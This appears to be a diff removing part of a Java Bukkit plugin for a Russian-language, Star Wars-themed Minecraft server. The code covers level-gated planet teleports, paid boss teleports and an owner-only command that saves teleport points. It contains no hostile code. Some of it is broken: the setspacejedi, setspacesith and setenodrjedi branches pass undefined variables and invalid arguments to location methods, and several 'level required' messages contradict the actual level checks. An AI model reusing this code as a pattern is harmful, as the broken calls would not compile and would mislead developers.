- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &618 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- if (a[0].equalsIgnoreCase("hoth")) {
- if (getLevel(p) >= 23) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("hoth.jedi.world")), Main.instance.getConfig().getDouble("hoth.jedi.x"), Main.instance.getConfig().getDouble("hoth.jedi.y"), Main.instance.getConfig().getDouble("hoth.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("hoth.sith.world")), Main.instance.getConfig().getDouble("hoth.sith.x"), Main.instance.getConfig().getDouble("hoth.sith.y"), Main.instance.getConfig().getDouble("hoth.sith.z"));
- if (!Main.instance.getConfig().contains("hoth.jedi") || !Main.instance.getConfig().contains("hoth.sith")) {
- p.sendMessage(ChatColor.RED + "\u0425\u043e\u0442\u0445 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u0425\u043e\u0442\u0445"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u0425\u043e\u0442\u0445"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &618 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
- }
- }
- }
- }
- if (c.getName().equalsIgnoreCase("boss")) {
- if (a.length == 0) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c&l\u0411\u041e\u0421\u0421\u042b"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 10 &8- &7\u0411\u043e\u0441\u0441 10-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 15 &8- &7\u0411\u043e\u0441\u0441 15-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 20 &8- &7\u0411\u043e\u0441\u0441 20-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 25 &8- &7\u0411\u043e\u0441\u0441 25-\u0433\u043e \u0443\u0432\u0440\u043e\u043d\u044f"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Boss 28 &8- &7\u0411\u043e\u0441\u0441 28-\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f"));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a &8- &b/blist"));
- return true;
- }
- if (a.length == 1) {
- if (!Levels.sides.containsKey(p.getName())) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0414\u0430\u043d\u043d\u044b\u0439 \u0431\u043e\u0441\u0441 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d!"));
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&7\u0421\u043f\u0438\u0441\u043e\u043a \u0431\u043e\u0441\u0441\u043e\u0432 &8- &b/blist"));
- return true;
- }
- if (a[0].equalsIgnoreCase("10")) {
- if (getLevel(p) >= 10) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("10l.jedi.world")), Main.instance.getConfig().getDouble("10l.jedi.x"), Main.instance.getConfig().getDouble("10l.jedi.y"), Main.instance.getConfig().getDouble("10l.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("10l.sith.world")), Main.instance.getConfig().getDouble("10l.sith.x"), Main.instance.getConfig().getDouble("10l.sith.y"), Main.instance.getConfig().getDouble("10l.sith.z"));
- if (!Main.instance.getConfig().contains("10l.jedi") || !Main.instance.getConfig().contains("10l.sith")) {
- p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (Main.econ.getBalance((OfflinePlayer)p) < 10000.0) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 10.000$"));
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 10000.0);
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441: &7\u0414\u0430\u0440\u0442-\u0421\u0438\u0434\u0438\u0443\u0441"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 10000.0);
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441: &7\u0414\u0430\u0440\u0442-\u0421\u0438\u0434\u0438\u0443\u0441"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &610 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
- }
- }
- if (a[0].equalsIgnoreCase("15")) {
- if (getLevel(p) >= 15) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("15l.jedi.world")), Main.instance.getConfig().getDouble("15l.jedi.x"), Main.instance.getConfig().getDouble("15l.jedi.y"), Main.instance.getConfig().getDouble("15l.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("15l.sith.world")), Main.instance.getConfig().getDouble("15l.sith.x"), Main.instance.getConfig().getDouble("15l.sith.y"), Main.instance.getConfig().getDouble("15l.sith.z"));
- if (!Main.instance.getConfig().contains("15l.jedi") || !Main.instance.getConfig().contains("15l.sith")) {
- p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (Main.econ.getBalance((OfflinePlayer)p) < 20000.0) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 20.000$"));
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 20000.0);
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u0419\u043e\u0434\u0430"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 20000.0);
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u0419\u043e\u0434\u0430"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &615 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
- }
- }
- if (a[0].equalsIgnoreCase("20")) {
- if (getLevel(p) >= 20) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("20l.jedi.world")), Main.instance.getConfig().getDouble("20l.jedi.x"), Main.instance.getConfig().getDouble("20l.jedi.y"), Main.instance.getConfig().getDouble("20l.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("20l.sith.world")), Main.instance.getConfig().getDouble("20l.sith.x"), Main.instance.getConfig().getDouble("20l.sith.y"), Main.instance.getConfig().getDouble("20l.sith.z"));
- if (!Main.instance.getConfig().contains("20l.jedi") || !Main.instance.getConfig().contains("20l.sith")) {
- p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (Main.econ.getBalance((OfflinePlayer)p) < 30000.0) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 30.000$"));
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 30000.0);
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 C3PO"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 30000.0);
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 C3PO"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &620 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
- }
- }
- if (a[0].equalsIgnoreCase("25")) {
- if (getLevel(p) >= 25) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("25l.jedi.world")), Main.instance.getConfig().getDouble("25l.jedi.x"), Main.instance.getConfig().getDouble("25l.jedi.y"), Main.instance.getConfig().getDouble("25l.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("25l.sith.world")), Main.instance.getConfig().getDouble("25l.sith.x"), Main.instance.getConfig().getDouble("25l.sith.y"), Main.instance.getConfig().getDouble("25l.sith.z"));
- if (!Main.instance.getConfig().contains("25l.jedi") || !Main.instance.getConfig().contains("25l.sith")) {
- p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (Main.econ.getBalance((OfflinePlayer)p) < 40000.0) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 40.000$"));
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 40000.0);
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u041a\u0430\u043f\u0438\u0442\u0430\u043d \u0420\u0435\u043a\u0441"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 40000.0);
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0411\u043e\u0441\u0441:&7 \u041a\u0430\u043f\u0438\u0442\u0430\u043d \u0420\u0435\u043a\u0441"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &625 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
- }
- }
- if (a[0].equalsIgnoreCase("28")) {
- if (getLevel(p) >= 28) {
- final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("28l.jedi.world")), Main.instance.getConfig().getDouble("28l.jedi.x"), Main.instance.getConfig().getDouble("28l.jedi.y"), Main.instance.getConfig().getDouble("28l.jedi.z"));
- final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("28l.sith.world")), Main.instance.getConfig().getDouble("28l.sith.x"), Main.instance.getConfig().getDouble("28l.sith.y"), Main.instance.getConfig().getDouble("28l.sith.z"));
- if (!Main.instance.getConfig().contains("28l.jedi") || !Main.instance.getConfig().contains("28l.sith")) {
- p.sendMessage(ChatColor.RED + "\u0411\u043e\u0441\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
- return true;
- }
- if (Main.econ.getBalance((OfflinePlayer)p) < 50000.0) {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 50.000$"));
- return true;
- }
- if (getSide(p).equalsIgnoreCase("Jedi")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 50000.0);
- p.teleport(jediLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&4\u0411\u043e\u0441\u0441:&7 \u0428\u0442\u0443\u0440\u043c"));
- }
- if (getSide(p).equalsIgnoreCase("Sith")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, 50000.0);
- p.teleport(sithLoc);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&4\u0411\u043e\u0441\u0441:&7 \u0428\u0442\u0443\u0440\u043c"));
- }
- }
- else {
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &630 \u0423\u0440\u043e\u0432\u0435\u043d\u044c!"));
- }
- }
- }
- }
- if (c.getName().equalsIgnoreCase("admset")) {
- if (!p.hasPermission("jc.owner")) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!"));
- return true;
- }
- if (a.length == 0) {
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432\u044b \u0438\u043c\u0435\u043b\u0438 \u0432\u0432\u0438\u0434\u0443 \u0442\u0430\u043a? &b/admset <\u0422\u043e\u0447\u043a\u0430, \u0411\u043e\u0441\u0441, \u041f\u0440\u0435\u0434\u043c\u0435\u0442, \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442, \u041f\u043b\u0430\u043d\u0435\u0442\u0430, \u0411\u043e\u0440\u0434>"));
- return true;
- }
- if (a.length == 1) {
- if (a[0].equalsIgnoreCase("setspacejedi")) {
- Main.instance.getConfig().set("space.jedi.world", (Object)p.getLocation(space).getWorld(space).getName(spacejedi));
- Main.instance.getConfig().set("space.jedi.x", (Object)p.getLocation(space).getX(592));
- Main.instance.getConfig().set("space.jedi.y", (Object)(p.getLocation(space).getY(31) + 1.0));
- Main.instance.getConfig().set("space.jedi.z", (Object)p.getLocation(space).getZ(-1088));
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setspacesith")) {
- Main.instance.getConfig().set("space.sith.world", (Object)p.getLocation(space).getWorld(space).getName(sithspase));
- Main.instance.getConfig().set("space.sith.x", (Object)p.getLocation(space).getX(581));
- Main.instance.getConfig().set("space.sith.y", (Object)(p.getLocation(space).getY(45) + 1.0));
- Main.instance.getConfig().set("space.sith.z", (Object)p.getLocation(space).getZ(-575));
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setenodrjedi")) {
- Main.instance.getConfig().set("endor.jedi.world", (Object)p.getLocation(endor).getWorld(endor).getName(endorjedi));
- Main.instance.getConfig().set("endor.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("endor.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("endor.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setendorsith")) {
- Main.instance.getConfig().set("endor.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("endor.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("endor.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("endor.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setnaboojedi")) {
- Main.instance.getConfig().set("naboo.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("naboo.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("naboo.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("naboo.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setnaboosith")) {
- Main.instance.getConfig().set("naboo.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("naboo.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("naboo.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("naboo.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setkaminojedi")) {
- Main.instance.getConfig().set("kamino.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("kamino.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("kamino.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("kamino.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setkaminosith")) {
- Main.instance.getConfig().set("kamino.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("kamino.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("kamino.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("kamino.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setmustafarjedi")) {
- Main.instance.getConfig().set("mustafar.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("mustafar.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("mustafar.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("mustafar.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setmustafarsith")) {
- Main.instance.getConfig().set("mustafar.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("mustafar.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("mustafar.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("mustafar.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("sethothjedi")) {
- Main.instance.getConfig().set("hoth.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("hoth.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("hoth.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("hoth.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("sethothsith")) {
- Main.instance.getConfig().set("hoth.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("hoth.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("hoth.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("hoth.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss10sith")) {
- Main.instance.getConfig().set("10l.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("10l.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("10l.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("10l.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss10jedi")) {
- Main.instance.getConfig().set("10l.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("10l.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("10l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("10l.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss15sith")) {
- Main.instance.getConfig().set("15l.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("15l.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("15l.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("15l.sith.z", (Object)p.getLocation().getZ());
